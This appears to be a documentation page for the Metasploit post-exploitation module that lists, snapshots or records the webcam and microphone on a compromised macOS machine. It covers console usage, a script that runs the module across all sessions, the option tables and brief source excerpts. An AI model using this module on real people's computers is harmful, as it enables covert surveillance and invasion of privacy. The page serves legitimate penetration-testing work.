OSX Manage Webcam - Metasploit


This page contains detailed information about how to use the post/osx/manage/webcam metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OSX Manage Webcam
Module: post/osx/manage/webcam
Source code: modules/post/osx/manage/webcam.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will allow the user to detect installed webcams (with the LIST action), take a snapshot (with the SNAPSHOT action), or record a webcam and mic (with the RECORD action)

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/manage/webcam

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/manage/webcam
msf post(webcam) > show options
    ... show and set options ...
msf post(webcam) > set SESSION session-id
msf post(webcam) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/manage/webcam")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the osx/manage/webcam post exploitation module looks in the msfconsole:

msf6 > use post/osx/manage/webcam

msf6 post(osx/manage/webcam) > show info

       Name: OSX Manage Webcam
     Module: post/osx/manage/webcam
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  joev <[email protected]>

Compatible session types:
  Shell

Available actions:
  Name      Description
  ----      -----------
  LIST      Show a list of webcams
  RECORD    Record with the webcam
  SNAPSHOT  Take a snapshot with the webcam

Basic options:
  Name               Current Setting                          Required  Description
  ----               ---------------                          --------  -----------
  AUDIO_COMPRESSION  QTCompressionOptionsHighQualityAACAudio  yes       Compression type to use for audio
  AUDIO_ENABLED      true                                     no        Enable audio when recording
  CAMERA_INDEX       0                                        yes       The index of the webcam to use. `set ACTION LIST` to get a list.
  JPG_QUALITY        0.8                                      no        The compression factor for snapshotting a jpg (from 0 to 1)
  MIC_INDEX          0                                        yes       The index of the mic to use. `set ACTION LIST` to get a list.
  RECORD_LEN         30                                       yes       Number of seconds to record
  SESSION                                                     yes       The session to run this module on.
  SNAP_FILETYPE      png                                      yes       File format to use when saving a snapshot (Accepted: jpg, png, gif, tiff, bmp)
  SYNC_WAIT          5                                        yes       Wait between syncing chunks of output
  TMP_FILE           /tmp/.<random>/<random>                  yes       The tmp file to use on the remote machine
  VIDEO_COMPRESSION  QTCompressionOptionsSD480SizeH264Video   yes       Compression type to use for video

Description:
  This module will allow the user to detect installed webcams (with 
  the LIST action), take a snapshot (with the SNAPSHOT action), or 
  record a webcam and mic (with the RECORD action)

Module Options


This is a complete list of options available in the osx/manage/webcam post exploitation module:

msf6 post(osx/manage/webcam) > show options

Module options (post/osx/manage/webcam):

   Name               Current Setting                          Required  Description
   ----               ---------------                          --------  -----------
   AUDIO_COMPRESSION  QTCompressionOptionsHighQualityAACAudio  yes       Compression type to use for audio
   AUDIO_ENABLED      true                                     no        Enable audio when recording
   CAMERA_INDEX       0                                        yes       The index of the webcam to use. `set ACTION LIST` to get a list.
   JPG_QUALITY        0.8                                      no        The compression factor for snapshotting a jpg (from 0 to 1)
   MIC_INDEX          0                                        yes       The index of the mic to use. `set ACTION LIST` to get a list.
   RECORD_LEN         30                                       yes       Number of seconds to record
   SESSION                                                     yes       The session to run this module on.
   SNAP_FILETYPE      png                                      yes       File format to use when saving a snapshot (Accepted: jpg, png, gif, tiff, bmp)
   SYNC_WAIT          5                                        yes       Wait between syncing chunks of output
   TMP_FILE           /tmp/.<random>/<random>                  yes       The tmp file to use on the remote machine
   VIDEO_COMPRESSION  QTCompressionOptionsSD480SizeH264Video   yes       Compression type to use for video

Post action:

   Name  Description
   ----  -----------
   LIST  Show a list of webcams

Advanced Options


Here is a complete list of advanced options supported by the osx/manage/webcam post exploitation module:

msf6 post(osx/manage/webcam) > show advanced

Module advanced options (post/osx/manage/webcam):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/manage/webcam module can do:

msf6 post(osx/manage/webcam) > show actions

Post actions:

   Name      Description
   ----      -----------
   LIST      Show a list of webcams
   RECORD    Record with the webcam
   SNAPSHOT  Take a snapshot with the webcam

Evasion Options


Here is the full list of possible evasion options supported by the osx/manage/webcam post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/manage/webcam) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid session ID selected.


Here is a relevant code snippet related to the "Invalid session ID selected." error message:

54:	        OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
55:	      ])
56:	  end
57:	
58:	  def run
59:	    fail_with(Failure::BadConfig, "Invalid session ID selected.") if client.nil?
60:	    fail_with(Failure::BadConfig, "Invalid action") if action.nil?
61:	
62:	    num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
63:	    tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
64:	    ruby_cmd = osx_capture_media(

Invalid action


Here is a relevant code snippet related to the "Invalid action" error message:

55:	      ])
56:	  end
57:	
58:	  def run
59:	    fail_with(Failure::BadConfig, "Invalid session ID selected.") if client.nil?
60:	    fail_with(Failure::BadConfig, "Invalid action") if action.nil?
61:	
62:	    num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
63:	    tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
64:	    ruby_cmd = osx_capture_media(
65:	      :action => action.name.downcase,

Client did not respond to new file request, exiting.


Here is a relevant code snippet related to the "Client did not respond to new file request, exiting." error message:

112:	                Rex.sleep(0.3)
113:	              end
114:	            end
115:	          end
116:	        rescue ::Timeout::Error
117:	          fail_with(Failure::TimeoutExpired, "Client did not respond to new file request, exiting.")
118:	        end
119:	      end
120:	    elsif action.name =~ /snap/i
121:	      if output.include?('(RuntimeError)')
122:	        print_error output

(RuntimeError)


Here is a relevant code snippet related to the "(RuntimeError)" error message:

116:	        rescue ::Timeout::Error
117:	          fail_with(Failure::TimeoutExpired, "Client did not respond to new file request, exiting.")
118:	        end
119:	      end
120:	    elsif action.name =~ /snap/i
121:	      if output.include?('(RuntimeError)')
122:	        print_error output
123:	        return
124:	      end
125:	
126:	      snap_type = datastore['SNAP_FILETYPE']

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • joev

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.